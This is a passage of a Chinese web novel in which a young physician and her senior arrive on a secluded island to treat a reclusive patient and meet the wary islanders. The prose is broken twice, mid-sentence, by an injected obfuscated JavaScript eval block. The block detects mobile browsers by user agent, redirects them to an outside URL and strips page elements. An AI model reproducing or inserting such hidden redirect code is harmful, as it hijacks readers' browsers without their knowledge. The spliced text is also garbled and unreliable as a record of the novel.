晏璇点点头,孟珎将她放下,待她站稳后,几步走到姓金的身边,伸手抬过他的下巴,用药抵开他的嘴,稍使巧劲将一颗药丸送入。 女人好奇道:“你们给他吃的什么?” 晏璇:“……保命丸。” “他之前怎么晕过去了?” 晏璇无辜摇头:“或许碰了林子里不该碰的,有些花花草草,看似美丽寻常,却是不得了的药物。” “那你这药有何特殊?” “祖传方子,强体护脉,总归是有益的。” 还好,“枫”男人没有出手阻拦,只是冷眼旁观。见姓金的吃下解药,晏璇暗暗松了口气,便任他被人架走了。 “有点意思。”女人轻点头,朝她勾勾手指,“你们身上有一股药香,只有常年跟药材打交道的人才会有,所以我确信你们的来历。丫头,你叫什么名字,师承何人啊?” “姐姐,我叫晏璇。至于师父,他深居简出,常年待在山里头,不是什么传世名人。” “嗯,你有个不错的名字。” “姐姐呢?像姐姐这般好的女子,也有一个很相称的名字吧。” “我的?”女人忽的大笑出声,头上的银饰也跟着叮当作响,“也不能说不好吧,我们的名字都是族中长辈敲定,我出生于秋,爹娘便选了个‘铃’字。” 晏璇心下一转:“莫非姐姐叫任铃?” 女人扬眉:“任铃铃。跟你的一比,是不是逊色许多?” 任铃铃、任荼荼,还有一个疑似叫任枫枫的,他们流云岛的人真是有趣。 晏璇摇头轻笑:“姐姐想岔了,每个经过认真考量而取的名字都有它的特殊意义,与他人无甚可比。它不同于身上穿的衣裳戴的首饰,在某些人眼中,非得较个华丽贵重出来。” “我还是第一次听人这样说。”任铃铃目光炯炯,欢喜地望着她,“我猜,荼荼一定很喜欢你。” “啊?”晏璇被她突然冒出的后半句话吓得一僵。 跟杜若有什么关系……那个笑眯眯一肚子坏心思的夺命书生,年纪瞧不出有多大,听任铃铃的口气,大概跟“枫哥”差不多,老气横秋的。晏璇只是想着,就觉起了一身鸡皮疙瘩。 她忍不住在孟珎身上扣扣挠挠。 头顶传来他的哼笑声,轻轻浅浅,含着冷意。 “阿璇的腿伤就拜他所赐,喜欢?前辈莫要说笑。我们只是萍水相逢,为治病救人才不得相聚于此,无甚情谊。” 往日里,孟珎的攻击性全靠那张冷脸,今日少见他语含挑衅咄咄逼人,晏璇靠在他怀里,感受到他微妙的强势。 “是荼荼把你伤成这样的?臭小子这些年在外头都学了些什么……”任铃铃皱眉,忧心道,“那丫头的伤打紧不,能不能痊愈?” “得有两个月不能动,因为坐船上岛不方便推轮椅,就只好麻烦师兄他们了。”晏璇微叹。 “我想荼荼也不是有意的,晏丫头放心,我们流云岛的人手巧,等一会到了地方,我给你寻一架轮椅,不说行动自如,也一定用得舒心。” 一行人在密林中穿行,“枫哥”领路在前,偶尔回望一眼,听晏璇轻描淡写她的断腿,停留在她身上的视线不觉久了些。 孟珎抬眸,与人目光相接,一顿之后直直凝望,对方虽很快转开视线,后方依旧隐隐看到他微微耸起又下落的双肩。 出了林子,几个壮汉四散而去,他们继续向前走了一段平路,大约过了半刻钟,前方出现了房屋,两边的土地被开垦种植了不少作物,其中还有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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方才在路上,孟珎一直抱着晏璇不假手于人,任铃铃便有些在意,寻常的师兄妹可会如此亲密?在她眼中,虽没有男女大防那套,可不便行走也就背着走一段就是,哪能一路贴着近乎搂抱。 眼下这般,任铃铃还有什么不明白,这分明是一对互相有意的璧人。 她一挑眉,嘴角含笑,视线在他们之间暧昧流转。 晏璇也不怕人看,她巴不得所有人都知道,好叫孟珎少些患得患失。 孟珎将她扶抱到轮椅上,晏璇自己在屋内转了小半圈,灵活自如,这轮椅看着笨重实际推起来并不费力。 任铃铃笑道:“好用就好,还有一些小惊喜等你自己去发现。” “枫哥”全程冷脸看他们说笑,晏璇偷偷问任铃铃,果然,叠字取名是他们任家传统。也不知这位遭遇过什么,大多时候都是苦大仇深的样子。 任枫枫带他们来到一片较偏的竹园,时墉就住在竹屋。 竹屋两层高,一楼檐下搭有走廊,迎着日光的那面放了一排盆栽,应是有人精心照顾,每一株花草长势喜人,盎然一片。 “明叔就在里头,他平时不见人。一会,你们记得小声些,否则他会发脾气。” 明叔?时墉在这躲着,还要化名? 任枫枫说完,轻敲了敲门。 等了一会,有暗哑的男声响起:“谁在外头?” 任枫枫:“明叔,是我。” “小枫?有什么事吗?”男人的声音明显多了分不耐,好似很不情愿与人交流。 “您家里人请了大夫远道而来,说是可以帮你看看旧疾。” 任枫枫正打算推门而入,屋内传来一声巨响,似是什么东西纷纷被砸落在地。 “我没病!不见,谁都不见!走,走啊,赶紧走!” 男人倏地声嘶力竭叫喊起来,嘶哑的声线像是有人掐住了他的喉咙要置他于死地。 晏璇的耳朵都被激得微痛,她一抬头,见孟珎眼中有相同的凝重。 时天辰唯一没说谎的,大概就是他舅舅真的“病”得不轻。 74. 第 74 章 对时墉的第一次问诊以被赶走不得入门结束。 离开竹楼前,晏璇又打量了一番院子。除去那些被照顾得很好的盆栽,院子的角落里种有一片石竹,攀援着粉白小花的竹篱笆围成半圈,旁边一口蓄水大缸,水面上漂浮着一些金银莲花,小巧可爱。靠近院门,还有一棵枝叶繁茂的柿子树,树下摆着一桌一凳,他们来时,石桌上还有没收拾掉的酒盏。 晏璇:“枫哥,这儿只住着他一个人吗?院子里可有人帮着打理?” 任枫枫一顿,愣愣望她一眼,不知为何快走两步到前头,晏璇只能看着他的背影听他说话。 “明叔不喜欢被人打扰,一直是一个人。” “哦,那便是他自己打理的。他会做饭吗?” “……” “他是不是自己洗衣做饭?” “……” “平时他待在竹楼会做些什么?他有说过当初为什么来流云岛吗?” 任枫枫转身,眉头稍稍隆起:“做大夫的都像你这般话多,什么都问?” “呃?是的吧……” 孟珎目光沉沉,迎向他:“对症方能下药。那位不是简单的旧疾未愈,长久的沉郁致使他体弱神衰,了解他平日的习性、过往经历,不过是诊疗的一步。” “方才你见了,病人讳疾忌医,阿璇向你询问有何不妥?” 任枫枫语塞,冷冷瞥了眼孟珎。 今日师兄果真是不一般,与人辩驳的战力大幅提升。 晏璇继续试探道:“所以,那人不发脾气时是怎么样的?一日中,哪些时候好说话?” “往常也会动不动砸东西吗?” “有没有特别的喜好?或是讨厌的东西?” 任枫枫:“……” “抱歉,一不小心是多问了些……”晏璇不好意思咳了声,“平时,我还……挺安静的,小时候生病气短,说一句话够别人说上三四句的,后来跟着师父学医,又常常需要静心研读,在聒噪的年纪过了几年神闲气静的日子。” “或是我入门晚,行事多莽直,若有不当的地方,请见谅。” 一路上,就听晏璇如一只雀鸟叽喳不停。任枫枫只驳了一句,听她念叨半天,可话里又含着真情实意,没有埋怨他的不耐。 话是真的多,人也是真的憨,任枫枫在心中冷笑。谁要听她说自己的往事,谁又准许她喊哥的,毫无羞耻的熟稔,说不定那姓金的就是见她好骗才又混进岛来,可见事实也是如此。 任枫枫觉得女人就是麻烦,小姑姑是,眼前这个也是。他决定不再搭话,回身沉默地走在前头。 晏璇撇撇嘴角,向后仰靠在轮椅上。这人相比杜若,质朴多了,有什么情绪会摆在脸上。杜若还能做些表面功夫,不气到极致就是一副人畜无害的模样。不知是不是同长在这儿的原因,两人都有股劲劲的装感,臭男人莫名的自信。 任枫枫除了左耳上挂着一只大银环,颈上还戴有一个银项圈,这里的人身上或多或少都有银饰,晏璇猜测他们是后迁来流云岛的某个部族,不然在这片相近的土地上,不会单单他们如此特殊而排外。 那些银饰纹样细致而精巧,花鸟虫兽相交其中,给予佩戴的人神秘之感,在晏璇过往刻板印象中,他们总与蛊毒秘术扯上关系,其中不乏使毒高手。但眼下,她没瞧出什么特别。 肩上忽的落下点力道,晏璇侧首抬眸,见孟珎垂首敛容很是认真,却听他轻语道:“不看了,没什么好看的。” 晏璇一愣,余光中是任枫枫劲瘦的肩背,粗布麻衣也挡不住的有力臂膀,两条长腿之上是挺翘的臀部…… 她无声失笑,一双眼睛弯成了月牙,孟珎抿了抿嘴,忽而生出赧意,脸颊透红。 之前,是谁大方任她欣赏姓金的相貌,怎么换了人,师兄有些不乐意了…… “那听师兄的。”晏璇坏心眼地没解释,她并非在盯着人看。 小九如孤魂般飘荡在她眼前:【宿主,打扰你们打情骂俏了。接下来不知还要在这待多久,请时刻注意你的生命值变化。】 晏璇:【……我知道。】 头顶上的数字一直在黄绿之间跳动,说心里头没有焦虑是不可能的,之前被苍翊“偷袭”,她能说出那些话多少也受此影响。 晏璇:【我的事我心中有数,你呢?看你越来越虚,听声音都快失真了。】 小九:【呜呜呜,宿主你真好,放心,我一定挺住陪你到最后。】 晏璇:【别,这话少说,总觉得是旗子。你要是不见了,我大概也命不久矣。】 小九:【……】 晏璇重看向前方那个男人,喊道:“枫哥,听金大哥说,岛上的人看病并不方便。师兄和我,虽不是妙手神医,但也积累了些行医经验,若这儿有需要,你不妨告诉我们,或能帮上些忙,也算谢谢铃姐姐对我的照顾。” 良久,晏璇才听对方“唔”了声,男人仍是蒙头朝前走,步伐倒是小了些。 因为时墉的不配合,晏璇他们暂时被带到之前待过的堂屋旁的偏房休息。 简洁的木屋,像是曾堆放杂物用的,除去桌凳,另有一张竹编的躺椅,晏璇就靠坐在上头。 任铃铃捧着茶点进来的时候,孟珎刚好在给晏璇的伤腿做固定,看到晏璇咬牙吸气的样子,她一下皱紧了眉头,好似那伤是落在自己身上。 “荼荼那小子怎么就把你伤了,看着可太疼了。”她边说边放下托盘。 晏璇笑笑:“其实不是他伤的,算不小心牵连?师兄对此事有些气闷才那样说的。最疼的时候也已经过去了,现在在长骨头,会有一点点刺痛。” “看不出你长得乖却同外头那些竹子似的韧得很,换作是我可不行,我是一点疼都受不了。” “那是姐姐没见过我哭的样子,涕泗横流,怨天怨地,心里头不知想了多少冒犯老祖宗的事。” 孟珎手上微顿,抬眸看向晏璇,那日她哭着说不想活的一幕始终印在他心底,在某个阴暗瞬间就会袭向他,令他害怕彷徨。 任铃铃笑着坐下:“你这丫头,又直率又有趣,我要是老天爷都舍不得你受委屈。” 晏璇:“这世上这么多人,谁在抱怨亦或祈愿,老天爷怕是听都听不过来,最后还得靠自己,就算姐姐成了那天老爷,可能都没有如今我们这般相识来得快。” 任铃铃:“神仙自然有神通,找个人有何难?” 晏璇摇头:“它的神通不在此处。常说老天有眼不过是人们对它的敬畏,桩桩件件都有因果报应,是我们自己努力得来的。” “有意思,反正晏丫头你是不信那些神神道道的就是。”任铃铃搬了条凳子坐在他们一边,指着托盘里的东西,道,“不说这破天了,我从厨房带了些酸角糕,这个时节吃刚刚好,你们尝尝。” 晏璇看着瓷盘里的点心,想起夏日里她娘让阿婆准备酸梅汤,自己也会动手做糕点,因为她喜欢酸甜口的,其中做的最多的就是酸角糕。想她娘一个从不下厨的人,自她出生,每年都会为她亲手做些什么。 晏璇拣了一块尝,熟悉的滋味在口中化开,那些躺在合欢树下,她娘边扇扇子边讲故事的日子也在脑中闪过。 任铃铃:“怎么?不合口味吗?” “唔……”晏璇摇头,“有些想我娘了。铃姐姐你……为何叹气?” “哎,心口突然闷闷的。对了,我听小枫枫说,你想帮岛上的人看病,正好,你眼前就有一位,就让我来做先行者。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098873|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 晏璇放下手中剩的糕点,孟珎递来帕子,她接过,擦手的同时与他互看一眼,任铃铃瞧着可不像病人啊。 “铃姐姐,在此之前,我有疑问。” “你说。” “都说流云岛不喜外人,方才我们从竹楼回来,路上也有偶遇其他人,他们见了我和师兄,颇有些惶恐地避开。为什么姐姐你……对我们如此不一般?” 任铃铃双腿盘在凳上,单手撑膝,全然不符她妍丽优雅的外表,有时与花奕倒有几分相似,不拘小节的样子更像行走江湖的侠女。 任铃铃听罢,眉眼间露出一丝无奈:“关于岛上,我确有不便说的地方。天晓得,你们是我这几年唯一见过的新面孔,倘使真有打着歪主意上岛的,怎么也不会是你俩这副样子。” 晏璇:其实伪装成落难男女寻求援助从而打入内部也不是没有…… “小枫枫担着护卫的职责,所以有时显得古板循规蹈矩,我不一样,只想活得有点意思。” “当然,”任铃铃眼一眯,抬手在脖子上一抹,“若我发现晏丫头你们真有猫腻,届时别怪我心狠手辣。” 晏璇撇嘴:“要不是有人一心相求,这会我们已经前往下个目的地了。” 任铃铃讪笑,摆摆手:“嘿,我只这么一说。” “那铃姐姐是有哪里不舒服,是刚才的心口闷?”晏璇已经将随身的简易针包放在一侧。 “不是。”任铃铃用食指敲了敲颞部,“这儿,好些年了,偶尔会发疼,连带我的脑袋都是嗡嗡的。起初也看过大夫,都说瞧不出毛病,你说怪不怪?” 晏璇心头微惊,这种情况可怪可不怪,因为就连师父,也想不到人脑袋里还能“长东西”。任铃铃脸色红润神采奕奕,实不像得病的,只是听她描述,晏璇下意识觉得是不是有瘤子,可惜无法照个光确定。 她定了定神道:“我给姐姐把个脉先。” 半刻钟后,晏璇确没把出什么。她又问了问她的饮食和睡眠情况,用手抚触过她脑袋上几处。 任铃铃:“晏丫头,你是不是也没瞧出问题?” 晏璇如实点头:“姐姐你吃好睡好,如厕正常,确实没有大碍。可头疼的毛病伴随多年,一定是有原因的,简单的望闻问切已经无用,最好的办法是能剖开看看——” “剖?剖哪里?”任铃铃惊恐地跳起退后两步,磕巴道,“不、不会是要拿我脑袋开刀吧……” 晏璇想剖也剖不了,无论是关于止血还是麻醉,还是考虑到抗菌的问题,都不是她能解决的。她虽有穿越的知识,却不能如那些前辈们将现代知识信手拈来,做个药师已是她这辈子最厉害的事了。 “不会的。”晏璇叹笑,“那只是我觉得探究病根的方法,显然不可行。” 任铃铃深深吸气:“那就好,我可是最怕疼的。” 晏璇:“若姐姐发病时疼得难受,我可以给你备一些止痛药丸,但绝不可滥用,是药三分毒。” 正当晏璇准备药方,门外传来吵闹声,任铃铃立即旋身飞出屋外。 孟珎推着晏璇随后,跟出屋子,迎面传来一道犹如裹着油渣子的造作声音。 “小璇妹妹,我的小璇妹妹在哪啊?” 晏璇:“……” 继明月阁之后,她难得地在心里骂了脏。 “姓苍的,你够了!别叫阿璇听到你这般喊她,我怕她恶心坏了!” 前方一道绯色身影利落转身,破妄刀已蠢蠢欲动。 晏璇:奕女侠! 显然,对方也瞧见了她,欣然道:“阿璇!” 所有或冷或热的视线都向晏璇这边投来,小小的庭院一下涌入不下七八个人。 热闹不凡。